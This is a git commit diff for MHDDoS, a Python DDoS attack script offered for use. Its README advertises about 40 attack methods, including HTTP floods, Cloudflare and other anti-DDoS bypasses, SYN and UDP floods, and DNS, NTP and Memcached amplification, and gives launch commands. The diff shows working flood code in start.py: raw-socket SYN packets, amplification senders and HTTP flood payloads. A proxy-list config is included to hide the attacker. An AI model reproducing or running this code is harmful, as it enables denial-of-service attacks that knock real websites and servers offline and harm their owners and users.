changed logging system

This commit is contained in:
MHProDev 2022-03-01 20:19:43 +03:30
parent 9acde160c2
commit ebf1001f36
5 changed files with 353 additions and 208 deletions

100
README.md
View File

@ -1,4 +1,6 @@
<p align="center"><img src="./screenshot/logo.ico" width="150px" height="150px" alt="aventium softworks"></p> <!--suppress HtmlDeprecatedAttribute -->
<p align="center"><img src="https://i.imgur.com/HC23l6O.png" width="150px" height="150px" alt="aventium softworks"></p>
<h1 align="center">MHDDoS - DDoS Attack Script With 40 Methods</h1> <h1 align="center">MHDDoS - DDoS Attack Script With 40 Methods</h1>
<em><h5 align="center">(Code Lang - Python 3)</h5></em> <em><h5 align="center">(Code Lang - Python 3)</h5></em>
@ -17,59 +19,62 @@
## Features And Methods ## Features And Methods
* 💣 Layer7![68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f4d4850726f4465762f4d4844446f533f7374796c653d666f722d7468652d6261646765](https://user-images.githubusercontent.com/63018646/156079829-f6dd9164-4d8a-4006-8b11-28fec84b3478.svg) * 💣
Layer7:
* <img src="https://image.flaticon.com/icons/png/128/2431/2431664.png" width="16" height="16" alt="get"> GET | GET Flood * <img src="https://image.flaticon.com/icons/png/128/2431/2431664.png" width="16" height="16" alt="get"> GET | GET Flood
* <img src="https://cdn0.iconfinder.com/data/icons/database-storage-5/60/server__database__fire__burn__safety-512.png" width="16" height="16" alt="post"> POST | POST Flood * <img src="https://cdn0.iconfinder.com/data/icons/database-storage-5/60/server__database__fire__burn__safety-512.png" width="16" height="16" alt="post"> POST | POST Flood
* <img src="https://upload.wikimedia.org/wikipedia/en/thumb/f/f9/OVH_Logo.svg/1200px-OVH_Logo.svg.png" width="16" height="16" alt="ovh"> OVH | Bypass OVH * <img src="https://upload.wikimedia.org/wikipedia/en/thumb/f/f9/OVH_Logo.svg/1200px-OVH_Logo.svg.png" width="16" height="16" alt="ovh"> OVH | Bypass OVH
* <img src="https://cdn.iconscout.com/icon/premium/png-256-thumb/cyber-bullying-2557797-2152371.png" width="16" height="16" alt="stress"> STRESS | Send HTTP Packet With High Byte * <img src="https://cdn.iconscout.com/icon/premium/png-256-thumb/cyber-bullying-2557797-2152371.png" width="16" height="16" alt="stress"> STRESS | Send HTTP Packet With High Byte
* <img src="https://image.flaticon.com/icons/png/512/3132/3132142.png" width="16" height="16" alt="dyn"> DYN | A New Method With Random SubDomain * <img src="https://image.flaticon.com/icons/png/512/3132/3132142.png" width="16" height="16" alt="dyn"> DYN | A New Method With Random SubDomain
* <img src="https://cdn2.iconfinder.com/data/icons/poison-and-venom-fill/160/loris2-512.png" width="16" height="16" alt="slow"> SLOW | Slowloris Old Method of DDoS * <img src="https://cdn2.iconfinder.com/data/icons/poison-and-venom-fill/160/loris2-512.png" width="16" height="16" alt="slow"> SLOW | Slowloris Old Method of DDoS
* <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-how-work-icon.png" width="16" height="16" alt="head"> HEAD | https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD * <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-how-work-icon.png" width="16" height="16" alt="head"> HEAD | https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD
* <img src="https://img.icons8.com/plasticine/2x/null-symbol.png" width="16" height="16" alt="null"> NULL | Null UserAgent and ... * <img src="https://img.icons8.com/plasticine/2x/null-symbol.png" width="16" height="16" alt="null"> NULL | Null UserAgent and ...
* <img src="https://i.pinimg.com/originals/03/2e/7d/032e7d0755cd511c753bcb6035d44f68.png" width="16" height="16" alt="cookie"> COOKIE | Random Cookie PHP 'if (isset($_COOKIE))' * <img src="https://i.pinimg.com/originals/03/2e/7d/032e7d0755cd511c753bcb6035d44f68.png" width="16" height="16" alt="cookie"> COOKIE | Random Cookie PHP 'if (isset($_COOKIE))'
* <img src="https://image.flaticon.com/icons/png/512/2100/2100795.png" width="16" height="16" alt="pps"> PPS | Only 'GET / HTTP/1.1\r\n\r\n' * <img src="https://image.flaticon.com/icons/png/512/2100/2100795.png" width="16" height="16" alt="pps"> PPS | Only 'GET / HTTP/1.1\r\n\r\n'
* <img src="https://cdn3.iconfinder.com/data/icons/internet-security-14/48/DDoS_website_webpage_bomb_virus_protection-512.png" width="16" height="16" alt="even"> EVEN | GET Method with more header * <img src="https://cdn3.iconfinder.com/data/icons/internet-security-14/48/DDoS_website_webpage_bomb_virus_protection-512.png" width="16" height="16" alt="even"> EVEN | GET Method with more header
* <img src="https://masbadar.com/wp-content/uploads/2016/02/Logo-Projects-Shield-2.jpg" width="16" height="16" alt="googleshield"> GSB | Google Project Shield Bypass * <img src="https://masbadar.com/wp-content/uploads/2016/02/Logo-Projects-Shield-2.jpg" width="16" height="16" alt="googleshield"> GSB | Google Project Shield Bypass
* <img src="https://seeklogo.com/images/D/ddos-guard-logo-CFEFCA409C-seeklogo.com.png" width="16" height="16" alt="DDoSGuard"> DGB | DDoS Guard Bypass * <img src="https://seeklogo.com/images/D/ddos-guard-logo-CFEFCA409C-seeklogo.com.png" width="16" height="16" alt="DDoSGuard"> DGB | DDoS Guard Bypass
* <img src="https://i.imgur.com/bGL8qfw.png" width="16" height="16" alt="ArvanCloud"> AVB | Arvan Cloud Bypass * <img src="https://i.imgur.com/bGL8qfw.png" width="16" height="16" alt="ArvanCloud"> AVB | Arvan Cloud Bypass
* <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/5/53/Google_%22G%22_Logo.svg/1024px-Google_%22G%22_Logo.svg.png" width="16" height="16" alt="Google bot"> BOT | Like Google bot * <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/5/53/Google_%22G%22_Logo.svg/1024px-Google_%22G%22_Logo.svg.png" width="16" height="16" alt="Google bot"> BOT | Like Google bot
* <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a8/Apache_HTTP_Server_Logo_%282016%29.svg/1000px-Apache_HTTP_Server_Logo_%282016%29.svg.png" width="16" height="16" alt="Apache Webserver"> APACHE | Apache Expliot * <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a8/Apache_HTTP_Server_Logo_%282016%29.svg/1000px-Apache_HTTP_Server_Logo_%282016%29.svg.png" width="16" height="16" alt="Apache Webserver"> APACHE | Apache Expliot
* <img src="https://icon-library.com/images/icon-for-wordpress/icon-for-wordpress-16.jpg" width="16" height="16" alt="wordpress expliot"> XMLRPC | WP XMLRPC expliot (add /xmlrpc.php) * <img src="https://icon-library.com/images/icon-for-wordpress/icon-for-wordpress-16.jpg" width="16" height="16" alt="wordpress expliot"> XMLRPC | WP XMLRPC expliot (add /xmlrpc.php)
* <img src="https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730" width="16" height="16" alt="CloudFlare"> CFB | CloudFlare Bypass * <img src="https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730" width="16" height="16" alt="CloudFlare"> CFB | CloudFlare Bypass
* <img src="https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730" width="16" height="16" alt="CloudFlare UnderAttack Mode"> CFBUAM | CloudFlare Under Attack Mode Bypass * <img src="https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730" width="16" height="16" alt="CloudFlare UnderAttack Mode"> CFBUAM | CloudFlare Under Attack Mode Bypass
* <img src="http://iclouddnsbypass.com/wp-content/uploads/2015/02/iCloudDNSBypassServer.ico" width="16" height="16" alt="bypass"> BYPASS | Bypass Normal AntiDDoS * <img src="http://iclouddnsbypass.com/wp-content/uploads/2015/02/iCloudDNSBypassServer.ico" width="16" height="16" alt="bypass"> BYPASS | Bypass Normal AntiDDoS
* 🧨 Layer4: * 🧨 Layer4:
* <img src="https://raw.githubusercontent.com/kgretzky/pwndrop/master/media/pwndrop-logo-512.png" width="16" height="16" alt="tcp"> TCP | TCP Flood Bypass * <img src="https://raw.githubusercontent.com/kgretzky/pwndrop/master/media/pwndrop-logo-512.png" width="16" height="16" alt="tcp"> TCP | TCP Flood Bypass
* <img src="https://styles.redditmedia.com/t5_2rxmiq/styles/profileIcon_snoob94cdb09-c26c-4c24-bd0c-66238623cc22-headshot.png" width="16" height="16" alt="udp"> UDP | UDP Flood Bypass * <img src="https://styles.redditmedia.com/t5_2rxmiq/styles/profileIcon_snoob94cdb09-c26c-4c24-bd0c-66238623cc22-headshot.png" width="16" height="16" alt="udp"> UDP | UDP Flood Bypass
* <img src="https://belgium.devoteam.com/wp-content/uploads/sites/23/2020/06/Icon-accelarate-hyper-automation-with-RPA-300x301.png" width="16" height="16" alt="syn"> SYN | SYN Flood * <img src="https://belgium.devoteam.com/wp-content/uploads/sites/23/2020/06/Icon-accelarate-hyper-automation-with-RPA-300x301.png" width="16" height="16" alt="syn"> SYN | SYN Flood
* <img src="https://cdn.iconscout.com/icon/free/png-256/virus-2165355-1821015.png" width="16" height="16" alt="vse"> VSE | Send VSE Protocol * <img src="https://cdn.iconscout.com/icon/free/png-256/virus-2165355-1821015.png" width="16" height="16" alt="vse"> VSE | Send VSE Protocol
* <img src="https://cdn.iconscout.com/icon/free/png-512/redis-4-1175103.png" width="16" height="16" alt="mem"> MEM | Memcached Amplification * <img src="https://cdn.iconscout.com/icon/free/png-512/redis-4-1175103.png" width="16" height="16" alt="mem"> MEM | Memcached Amplification
* <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png" width="16" height="16" alt="ntp"> NTP | NTP Amplification * <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png" width="16" height="16" alt="ntp"> NTP | NTP Amplification
* <img src="https://cdn.icon-icons.com/icons2/2699/PNG/512/minecraft_logo_icon_168974.png" width="16" height="16" alt="minecraft"> MINECRAFT | Minecraft Status Ping Protocol * <img src="https://cdn.icon-icons.com/icons2/2699/PNG/512/minecraft_logo_icon_168974.png" width="16" height="16" alt="minecraft"> MINECRAFT | Minecraft Status Ping Protocol
* <img src="https://cdn-icons-png.flaticon.com/512/2653/2653461.png" width="16" height="16" alt="dns"> DNS | DNS Amplification * <img src="https://cdn-icons-png.flaticon.com/512/2653/2653461.png" width="16" height="16" alt="dns"> DNS | DNS Amplification
* <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png" width="16" height="16" alt="chargen"> CHAR | Chargen Amplification * <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png" width="16" height="16" alt="chargen"> CHAR | Chargen Amplification
* <img src="https://help.apple.com/assets/6171BD2C588E52621824409D/6171BD2D588E5262182440A4/en_US/8b631353e070420f47530bf95f1a7fae.png" width="16" height="16" alt="ard"> ARD | Apple Remote Desktop Amplification * <img src="https://help.apple.com/assets/6171BD2C588E52621824409D/6171BD2D588E5262182440A4/en_US/8b631353e070420f47530bf95f1a7fae.png" width="16" height="16" alt="ard"> ARD | Apple Remote Desktop Amplification
* <img src="https://www.tenforums.com/geek/gars/images/2/types/thumb__emote__esktop__onnection.png" width="16" height="16" alt="rdp"> RDP | Remote Desktop Protocol Amplification * <img src="https://www.tenforums.com/geek/gars/images/2/types/thumb__emote__esktop__onnection.png" width="16" height="16" alt="rdp"> RDP | Remote Desktop Protocol Amplification
* ⚙️ Tools - Run With 'python3 start.py tools' * ⚙️ Tools - Run With 'python3 start.py tools'
* 🌟 CFIP | Find Real IP Address Of Websites Powered By Cloudflare * 🌟 CFIP | Find Real IP Address Of Websites Powered By Cloudflare
* 🔪 DNS | Show DNS Records Of Sites * 🔪 DNS | Show DNS Records Of Sites
* ⚠ PING | PING Servers * ⚠ PING | PING Servers
* 📌 CHECK | Check If Websites Status * 📌 CHECK | Check If Websites Status
* 😎 DSTAT | That Shows Bytes Received, bytes Sent and their amount * 😎 DSTAT | That Shows Bytes Received, bytes Sent and their amount
* 🎩 Other * 🎩 Other
* ❌ STOP | STOP All Attacks * ❌ STOP | STOP All Attacks
* 🌠 TOOLS | Console Tools * 🌠 TOOLS | Console Tools
* 👑 HELP | Show Usage Script * 👑 HELP | Show Usage Script
#### Issues ? #### Issues ?
* Telegram : https://t.me/DD0SChat
* Discord : MH_ProDev#2681 * Telegram : https://t.me/DD0SChat
* [GitHub][github] * Discord : MH_ProDev#2681
* [GitHub][github]
#### Like the project? Leave a star on the repository! #### Like the project? Leave a star on the repository!
## Downloads ## Downloads
@ -89,6 +94,7 @@ You can download it from [GitHub Releases](https://github.com/MHProDev/MHDDoS/re
* [certifi](https://github.com/certifi/python-certifi) * [certifi](https://github.com/certifi/python-certifi)
* [psutil](https://github.com/giampaolo/psutil) * [psutil](https://github.com/giampaolo/psutil)
* [yarl](https://github.com/aio-libs/yarl) * [yarl](https://github.com/aio-libs/yarl)
--- ---
**Videos** **Videos**
@ -100,6 +106,7 @@ You can download it from [GitHub Releases](https://github.com/MHProDev/MHDDoS/re
* Aprat : https://aparat.com/v/XPn5Z * Aprat : https://aparat.com/v/XPn5Z
* YouTube : https://youtu.be/mZilAOkLKK8 * YouTube : https://youtu.be/mZilAOkLKK8
--- ---
**Clone and Install Script** **Clone and Install Script**
@ -115,27 +122,32 @@ pip3 install -r requirements.txt
**Launch Script** **Launch Script**
* Layer7 (Website): * Layer7 (Website):
```console ```console
python3 start.py bypass https://example.com 5 1000 socks5.txt 100 100 python3 start.py bypass https://example.com 5 1000 socks5.txt 100 100
``` ```
* Layer4 (Server/Home): * Layer4 (Server/Home):
```console ```console
python3 start.py udp 1.1.1.1:53 1 100 python3 start.py udp 1.1.1.1:53 1 100
python3 start.py dns 1.1.1.1:53 1 100 dns.txt python3 start.py dns 1.1.1.1:53 1 100 dns.txt
``` ```
* Tools/Help: * Tools/Help:
```console ```console
python3 start.py tools python3 start.py tools
python3 start.py help python3 start.py help
``` ```
[python3]: https://python.org 'Python3' [python3]: https://python.org 'Python3'
[github]: https://github.com/MHProDev/MHDDoS/issues 'GitHub' [github]: https://github.com/MHProDev/MHDDoS/issues 'GitHub'
--- ---
**💰 Donation Links:** **💰 Donation Links:**
* https://idpay.ir/mh-prodev * https://idpay.ir/mh-prodev

View File

@ -1,28 +1,28 @@
{ {
"proxy-providers": [ "proxy-providers": [
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5}, {"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
{"type":4, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks4.txt", "timeout": 5}, {"type":4, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks4.txt", "timeout": 5},
{"type":4, "url": "https://www.proxy-list.download/api/v1/get?type=socks4", "timeout": 5}, {"type":4, "url": "https://www.proxy-list.download/api/v1/get?type=socks4", "timeout": 5},
{"type":4, "url": "https://www.proxyscan.io/download?type=socks4", "timeout": 5}, {"type":4, "url": "https://www.proxyscan.io/download?type=socks4", "timeout": 5},
{"type":4, "url": "https://api.openproxylist.xyz/socks4.txt", "timeout": 5}, {"type":4, "url": "https://api.openproxylist.xyz/socks4.txt", "timeout": 5},
{"type":4, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt", "timeout": 5}, {"type":4, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt", "timeout": 5},
{"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", "timeout": 5}, {"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", "timeout": 5},
{"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5}, {"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5},
{"type":5, "url": "https://www.proxy-list.download/api/v1/get?type=socks5", "timeout": 5}, {"type":5, "url": "https://www.proxy-list.download/api/v1/get?type=socks5", "timeout": 5},
{"type":5, "url": "https://www.proxyscan.io/download?type=socks5", "timeout": 5}, {"type":5, "url": "https://www.proxyscan.io/download?type=socks5", "timeout": 5},
{"type":5, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "timeout": 5}, {"type":5, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "timeout": 5},
{"type":5, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt", "timeout": 5}, {"type":5, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt", "timeout": 5},
{"type":5, "url": "https://api.openproxylist.xyz/socks5.txt", "timeout": 5}, {"type":5, "url": "https://api.openproxylist.xyz/socks5.txt", "timeout": 5},
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "timeout": 5}, {"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "timeout": 5},
{"type":1, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "timeout": 5}, {"type":1, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "timeout": 5},
{"type":1, "url": "https://www.proxy-list.download/api/v1/get?type=http", "timeout": 5}, {"type":1, "url": "https://www.proxy-list.download/api/v1/get?type=http", "timeout": 5},
{"type":1, "url": "https://www.proxyscan.io/download?type=http", "timeout": 5}, {"type":1, "url": "https://www.proxyscan.io/download?type=http", "timeout": 5},
{"type":1, "url": "https://api.openproxylist.xyz/http.txt", "timeout": 5}, {"type":1, "url": "https://api.openproxylist.xyz/http.txt", "timeout": 5},
{"type":1, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "timeout": 5}, {"type":1, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "timeout": 5},
{"type":1, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt", "timeout": 5}, {"type":1, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt", "timeout": 5},
{"type":1, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt", "timeout": 5}, {"type":1, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt", "timeout": 5},
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5} {"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}
] ]
} }

View File

@ -1 +0,0 @@

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

442
start.py
View File

@ -3,16 +3,18 @@
from contextlib import suppress from contextlib import suppress
from itertools import cycle from itertools import cycle
from json import load from json import load
from logging import getLogger, shutdown, basicConfig
from math import trunc, log2 from math import trunc, log2
from multiprocessing import RawValue
from os import urandom as randbytes from os import urandom as randbytes
from pathlib import Path from pathlib import Path
from random import randint, choice as randchoice from random import randint, choice as randchoice
from socket import (IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, TCP_NODELAY, SOCK_STREAM, AF_INET, socket, from socket import (IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, TCP_NODELAY, SOCK_STREAM, AF_INET, socket,
SOCK_DGRAM, SOCK_RAW, gethostname, gethostbyname) SOCK_DGRAM, SOCK_RAW, gethostname, gethostbyname)
from ssl import SSLContext, create_default_context, CERT_NONE from ssl import SSLContext, create_default_context, CERT_NONE
from sys import argv, exit from sys import argv, exit as _exit
from threading import Thread, Event, Lock from threading import Thread, Event, Lock
from time import sleep from time import sleep, time
from typing import Set, List, Any, Tuple from typing import Set, List, Any, Tuple
from urllib import parse from urllib import parse
@ -22,18 +24,26 @@ from cfscrape import create_scraper
from icmplib import ping from icmplib import ping
from impacket.ImpactPacket import IP, TCP, UDP, Data from impacket.ImpactPacket import IP, TCP, UDP, Data
from psutil import process_iter, net_io_counters, virtual_memory, cpu_percent from psutil import process_iter, net_io_counters, virtual_memory, cpu_percent
from requests import get, Session, exceptions from requests import get, Session, exceptions, Response
from yarl import URL from yarl import URL
import time
localIP = get('http://ip.42.pl/raw').text
currentDir = Path(__file__).parent
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s', datefmt="%H:%M:%S")
logger = getLogger("MHDDoS")
logger.setLevel("INFO")
ctx: SSLContext = create_default_context(cafile=where()) ctx: SSLContext = create_default_context(cafile=where())
ctx.check_hostname = False ctx.check_hostname = False
ctx.verify_mode = CERT_NONE ctx.verify_mode = CERT_NONE
__version__ = "2.0 SNAPSHOT" __version__ = "2.1 SNAPSHOT"
__dir__ = Path(__file__).parent
__ip__ = get('http://ip.42.pl/raw').text
def exit(*message):
if message:
logger.error(" ".join(message))
shutdown()
_exit(1)
class Methods: class Methods:
@ -54,7 +64,28 @@ google_agents = ["Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/
"Googlebot/2.1 (+http://www.google.com/bot.html)", "Googlebot/2.1 (+http://www.google.com/bot.html)",
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"] "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"]
requests_sent = 0
class Counter(object):
def __init__(self, value=0):
self._value = RawValue('i', value)
self._lock = Lock()
def __iadd__(self, value):
with self._lock:
self._value.value += value
return self
def __int__(self):
return self._value.value
def set(self, value):
with self._lock:
self._value.value = value
return self
requests_sent = Counter()
bytes_sent = Counter()
class Tools: class Tools:
@ -79,9 +110,16 @@ class Tools:
else: else:
return num return num
@staticmethod
def sizeOfRequest(res: Response) -> int:
size: int = len(res.request.method)
size += len(res.request.url)
size += len('\r\n'.join(f'{key}: {value}' for key, value in res.request.headers.items()))
return size
# noinspection PyBroadException # noinspection PyBroadException
class Layer4: class Layer4(Thread):
_method: str _method: str
_target: Tuple[str, int] _target: Tuple[str, int]
_ref: Any _ref: Any
@ -92,6 +130,7 @@ class Layer4:
ref: List[str] = None, ref: List[str] = None,
method: str = "TCP", method: str = "TCP",
synevent: Event = None): synevent: Event = None):
super().__init__(daemon=True)
self._amp_payload = None self._amp_payload = None
self._amp_payloads = cycle([]) self._amp_payloads = cycle([])
self._ref = ref self._ref = ref
@ -99,16 +138,12 @@ class Layer4:
self._target = target self._target = target
self._synevent = synevent self._synevent = synevent
self.run()
def run(self) -> None: def run(self) -> None:
if self._synevent: self._synevent.wait() if self._synevent: self._synevent.wait()
self.select(self._method) self.select(self._method)
while self._synevent.is_set(): while self._synevent.is_set():
with suppress(Exception): with suppress(Exception):
while self._synevent.is_set(): while self._synevent.is_set():
global requests_sent
requests_sent = requests_sent + 1
self.SENT_FLOOD() self.SENT_FLOOD()
def select(self, name): def select(self, name):
@ -144,66 +179,88 @@ class Layer4:
self._amp_payloads = cycle(self._generate_amp()) self._amp_payloads = cycle(self._generate_amp())
def TCP(self) -> None: def TCP(self) -> None:
global bytes_sent, requests_sent
try: try:
with socket(AF_INET, SOCK_STREAM) as s: with socket(AF_INET, SOCK_STREAM) as s:
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1) s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
s.connect(self._target) s.connect(self._target)
while s.send(randbytes(1024)): while s.send(randbytes(1024)):
continue requests_sent += 1
bytes_sent += 1024
except Exception: except Exception:
s.close() s.close()
def MINECRAFT(self) -> None: def MINECRAFT(self) -> None:
global bytes_sent, requests_sent
payload = b'\x0f\x1f0\t' + self._target[0].encode() + b'\x0fA'
try: try:
with socket(AF_INET, SOCK_STREAM) as s: with socket(AF_INET, SOCK_STREAM) as s:
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1) s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
s.connect(self._target) s.connect(self._target)
s.send(b'\x0f\x1f0\t' + self._target[0].encode() + b'\x0fA') s.send(payload)
bytes_sent += len(payload)
while s.send(b'\x01'): while s.send(b'\x01'):
s.send(b'\x00') s.send(b'\x00')
requests_sent += 2
bytes_sent += 2
except Exception: except Exception:
s.close() s.close()
def UDP(self) -> None: def UDP(self) -> None:
global bytes_sent, requests_sent
try: try:
with socket(AF_INET, SOCK_DGRAM) as s: with socket(AF_INET, SOCK_DGRAM) as s:
while s.sendto(randbytes(1024), self._target): while s.sendto(randbytes(1024), self._target):
continue requests_sent += 1
bytes_sent += 1024
except Exception: except Exception:
s.close() s.close()
def SYN(self) -> None: def SYN(self) -> None:
global bytes_sent, requests_sent
payload = self._genrate_syn()
try: try:
with socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s: with socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while s.sendto(self._genrate_syn(), self._target): while s.sendto(payload, self._target):
continue requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def AMP(self) -> None: def AMP(self) -> None:
global bytes_sent, requests_sent
payload = next(self._amp_payloads)
try: try:
with socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s: with socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while s.sendto(*next(self._amp_payloads)): while s.sendto(*payload):
continue requests_sent += 1
bytes_sent += len(payload[0])
except Exception: except Exception:
s.close() s.close()
def VSE(self) -> None: def VSE(self) -> None:
global bytes_sent, requests_sent
payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
b'\x20\x51\x75\x65\x72\x79\x00')
try: try:
with socket(AF_INET, SOCK_DGRAM) as s: with socket(AF_INET, SOCK_DGRAM) as s:
while s.sendto((b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65' while s.sendto(payload, self._target):
b'\x20\x51\x75\x65\x72\x79\x00'), self._target): requests_sent += 1
continue bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def _genrate_syn(self) -> bytes: def _genrate_syn(self) -> bytes:
ip: IP = IP() ip: IP = IP()
ip.set_ip_src(localIP) ip.set_ip_src(__ip__)
ip.set_ip_dst(self._target[0]) ip.set_ip_dst(self._target[0])
tcp: TCP = TCP() tcp: TCP = TCP()
tcp.set_SYN() tcp.set_SYN()
@ -231,7 +288,7 @@ class Layer4:
# noinspection PyBroadException # noinspection PyBroadException
class HttpFlood: class HttpFlood(Thread):
_proxies: List[Proxy] = None _proxies: List[Proxy] = None
_payload: str _payload: str
_defaultpayload: Any _defaultpayload: Any
@ -248,6 +305,7 @@ class HttpFlood:
synevent: Event = None, useragents: Set[str] = None, synevent: Event = None, useragents: Set[str] = None,
referers: Set[str] = None, referers: Set[str] = None,
proxies: Set[Proxy] = None) -> None: proxies: Set[Proxy] = None) -> None:
super().__init__(daemon=True)
self.SENT_FLOOD = None self.SENT_FLOOD = None
self._synevent = synevent self._synevent = synevent
self._rpc = rpc self._rpc = rpc
@ -293,7 +351,6 @@ class HttpFlood:
'Sec-Gpc: 1\r\n' 'Sec-Gpc: 1\r\n'
'Pragma: no-cache\r\n' 'Pragma: no-cache\r\n'
'Upgrade-Insecure-Requests: 1\r\n') 'Upgrade-Insecure-Requests: 1\r\n')
self.run()
def run(self) -> None: def run(self) -> None:
if self._synevent: self._synevent.wait() if self._synevent: self._synevent.wait()
@ -301,8 +358,6 @@ class HttpFlood:
while self._synevent.is_set(): while self._synevent.is_set():
with suppress(Exception): with suppress(Exception):
while self._synevent.is_set(): while self._synevent.is_set():
global requests_sent
requests_sent = requests_sent + 1
self.SENT_FLOOD() self.SENT_FLOOD()
@property @property
@ -356,6 +411,7 @@ class HttpFlood:
else "REQUESTS" else "REQUESTS"
def POST(self) -> None: def POST(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload(("Content-Length: 44\r\n" payload: bytes = self.generate_payload(("Content-Length: 44\r\n"
"X-Requested-With: XMLHttpRequest\r\n" "X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n" "Content-Type: application/json\r\n\r\n"
@ -364,11 +420,14 @@ class HttpFlood:
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def STRESS(self) -> None: def STRESS(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload((f"Content-Length: 524\r\n" payload: bytes = self.generate_payload((f"Content-Length: 524\r\n"
"X-Requested-With: XMLHttpRequest\r\n" "X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n" "Content-Type: application/json\r\n\r\n"
@ -377,11 +436,14 @@ class HttpFlood:
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
requests_sent += 1
bytes_sent += len(payload)
except Exception: except Exception:
s.close() s.close()
def COOKIES(self) -> None: def COOKIES(self) -> None:
global bytes_sent, requests_sent
payload: bytes = self.generate_payload("Cookie: _ga=GA%s;" payload: bytes = self.generate_payload("Cookie: _ga=GA%s;"
" _gat=1;" " _gat=1;"
" __cfduid=dc232334gwdsd23434542342342342475611928;" " __cfduid=dc232334gwdsd23434542342342342475611928;"
@ -391,20 +453,26 @@ class HttpFlood:
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
s.send(payload) if s.send(payload):
